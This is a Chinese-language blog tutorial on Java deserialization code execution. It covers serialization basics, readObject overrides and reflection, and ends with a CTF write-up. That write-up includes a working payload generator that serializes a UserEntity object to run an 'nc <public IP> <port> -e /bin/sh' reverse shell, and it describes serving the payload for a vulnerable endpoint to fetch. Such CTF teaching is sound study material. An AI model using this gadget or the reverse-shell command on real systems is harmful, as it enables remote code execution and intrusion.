Java反序列化代码执行案例分析

1 序列化与反序列化简单示例

1.1序列化

  1. 定义一个Demo类,并implements Serializable,否则无法对其进行序列化操作
package Test;
import java.io.*;
class Demo implements Serializable {
    public String a;
    public String b;
    // Default constructor 构造函数
    public Demo(String a, String b){
        this.a = a;
        this.b = b;
    }
}
  1. 实例化一个Demo对象,应用ObjectOutputStream.writeObject方法将Demo对象序列化结果输出至file.ser文件中
public class Hello {
    public static void main(String[] args) throws FileNotFoundException {
        Demo object = new Demo("hello", "world"); // Instance 实例化Demo对象
        String filename = "file.ser"; // 序列化结果输出文件
        // Serialization
        try
        {
            // saving of object in a file
            FileOutputStream file = new FileOutputStream(filename);
            ObjectOutputStream out = new ObjectOutputStream(file);
            // Method for serialization of object
            out.writeObject(object);
            out.close();
            file.close();
            System.out.println("Object has been serialized");
        } catch (IOException e) {
            System.out.println("IOException is caught");
            e.printStackTrace();
        }
    }
}

在这里插入图片描述

1.2序列化数据流特征

在Windows系统下使用notepad++,在linux系统下使用hexdump -C file.ser查看十六进制文件,可以看到文件开头为ac ed 00 05,该串数字为Java序列化数据流的标志,经过BASE64编码后开头变为rO0,因此看到以ac ed 开头的数据流,基本上可以判断为Java序列化后的数据。
在这里插入图片描述

1.3反序列化

Demo object1 = null;
try // Deserialization
 {
     // Reading the object from a ser file
     FileInputStream file = new FileInputStream(filename);
     ObjectInputStream in = new ObjectInputStream(file);
     // Method for deserialization of object
     object1 = (Demo)in.readObject();
     in.close();
     file.close();
     System.out.println("Object has been deserialized");
     System.out.println("a = " + object1.a);
     System.out.println("b = " + object1.b);
 }

在这里插入图片描述

2 readObject方法重写,打开记事本

重写Demo类的readObject方法,在反序列化过程中会执行重写后的代码,只需要在readObject方法中调用Runtime打开记事本即可。

class Demo implements Serializable {
    public String a;
    public String b;
    // Default constructor 构造函数
    public Demo(String a, String b){
        this.a = a;
        this.b = b;
    }
    private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        input.defaultReadObject();
        Runtime.getRuntime().exec("notepad.exe");
    }
}

在这里插入图片描述

3 应用反射机制实现反序列化代码执行

3.1反射机制相关方法介绍

Java反射机制的原理此处不做介绍,列举一下应用反射原理实现反序列化代码执行的相关方法。

  • forName

forName方法的作用是为了动态加载类,程序在最初运行的时候并不把全部需要的类加载至JVM中,在程序运行的过程中根据需要通过类名获取相应的Class对象,并将其加载进来。

Class.forName("java.lang.Runtime") // 加载java.lang.Runtime类
  • getMethod(String name,Class…parameterTypes)

getMethod方法根据方法名称和相关参数,来定位需要查找的Method对象并返回。

class.getMethod("method1", String.class, String.class); // 找到一个名称为method1并且参数为两个String类型的方法
class.getMethod("method2", new Class[0]); // 找到一个名称为method2并且无参数的方法
  • invoke(Object obj,Object…args)

调用包装在当前Method对象中的方法,第一个参数为实例化的对象,第二个参数为调用该方法需要的参数列表。注意如果调用静态方法,则不需要传入实例化的对象,使用null占位即可。

3.2定义命令执行恶意exploit方法

  1. 非静态方法,传入参数new Demo("Test.Demo", "exploit");
class Demo implements Serializable {
    public String a;
    public String b;
    // Default constructor 构造函数
    public Demo(String a, String b){
        this.a = a;
        this.b = b;
    }
    public void exploit() throws IOException {
        Runtime.getRuntime().exec("notepad.exe");
    }
    private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        input.defaultReadObject();
        Class.forName(a).getMethod(b, new Class[0]).invoke(Class.forName(a).getDeclaredConstructor(String.class, String.class).newInstance("123","123"), new Object[0]); 
    }
}

在这里插入图片描述
下面对应用反射机制调用exploit方法的过程进行拆解

// Class.forName(a).getMethod(b, new Class[0]).invoke(Class.forName(a).getDeclaredConstructor(String.class, String.class).newInstance("123","123"), new Object[0]);
Class c = Class.forName(a); // 参数a为Test.Demo,根据名字找到对应的类,并加载至JVM
Method m = c.getMethod(b, new Class[0]); // 参数b为exploit,由于该方法无参数,因此参数类型列表传入new Class[0]
Object o = c.getDeclaredConstructor(String.class, String.class).newInstance("123","123"); // exploit方法并非静态方法,需要实例化一个对象
m.invoke(o, new Object[0]); // 调用exploit方法,传入刚实例化的对象,由于无参数,因此传入new Object[0]即可
  1. 静态方法

exploit方法加上static修饰,并将类实例化部分用null占位即可

Class.forName(a).getMethod(b, new Class[0]).invoke(Class.forName(a), new Object[0]);

4 CTF show [单身杯 WEB] blog

此题目前半部分如何成为admin,class文件读取部分略过,详情请见CTF show单身杯官方wp,重点介绍如果构造反序列化命令执行payload实现反弹shell

  1. UserEntity.java中反序列化利用点,并且四个参数username,password,email,address均可控
private void readObject(ObjectInputStream input)
            throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException
    {
        input.defaultReadObject();
        Class.forName(username).getMethod(email, new Class[] {
                String.class
        }).invoke(Class.forName(username).getMethod(password, new Class[0]).invoke(Class.forName(username), new Object[0]), new Object[] {
                address
        });
    }
  1. AdminController.java从url中读取数据流,并进行反序列化操作
public String adminConsole(String token, String url, HttpSession session, Model model)
        throws IOException, ClassNotFoundException
    {
        if(token != null && token.equals(session.getAttribute("token"))) // 判断token参数是否一致
        {
            URL fileUrl = new URL(url); // 文件读取
            ObjectInputStream objectInputStream = new ObjectInputStream(fileUrl.openStream());
            objectInputStream.readObject();
            model.addAttribute("message", "\u66F4\u65B0\u6210\u529F");
        } else
        {
            model.addAttribute("message", "\u66F4\u65B0\u5931\u8D25\uFF0Ctoken\u65E0\u6548");
        }
        return "pageMessage";
    }
  1. 基于上述介绍的应用JAVA反射机制构造反序列化代码执行恶意payload
public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        UserEntity userEntity = new UserEntity();
        userEntity.setUsername("java.lang.Runtime");
        userEntity.setPassword("getRuntime");
        userEntity.setEmail("exec");
        userEntity.setAddress("nc 公网ip地址 监听端口 -e /bin/sh");
        FileOutputStream fos = new FileOutputStream("exp");
        ObjectOutputStream out = new ObjectOutputStream(fos);
        out.writeObject(userEntity);
        out.close();
        fos.close();
    }
}
// 过程分解 java.lang.Runtime.getRuntime().exec("nc 公网ip地址 监听端口 -e /bin/sh")
// 1.从java.lang.Runtime中获取exec方法,方法参数为String.class,调用该exec方法,传入一个getRuntime()对象与方法参数
 Class.forName(username).getMethod(email, new Class[] {String.class}).invoke( obj ,new Object[] {address});
// 2. 获取getRuntime()对象,getRuntime为静态方法,并且无参数,因此传入new Class[0]和new Object[0]即可
// 至于Class.forName(username)可以替换为null,对静态方法的调用并无影响
 Class.forName(username).getMethod(password, new Class[0]).invoke(Class.forName(username), new Object[0]),
  1. 将恶意payload对象序列化,结果数据输出至exp文件,传到云服务器,用python3 -m http.server 80开启一个简单的web服务器
    在这里插入图片描述
  2. 构造POST请求,利用反序列化过程中的代码执行实现反弹shell
    在这里插入图片描述
  3. 到根目录下读取flag
    在这里插入图片描述
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值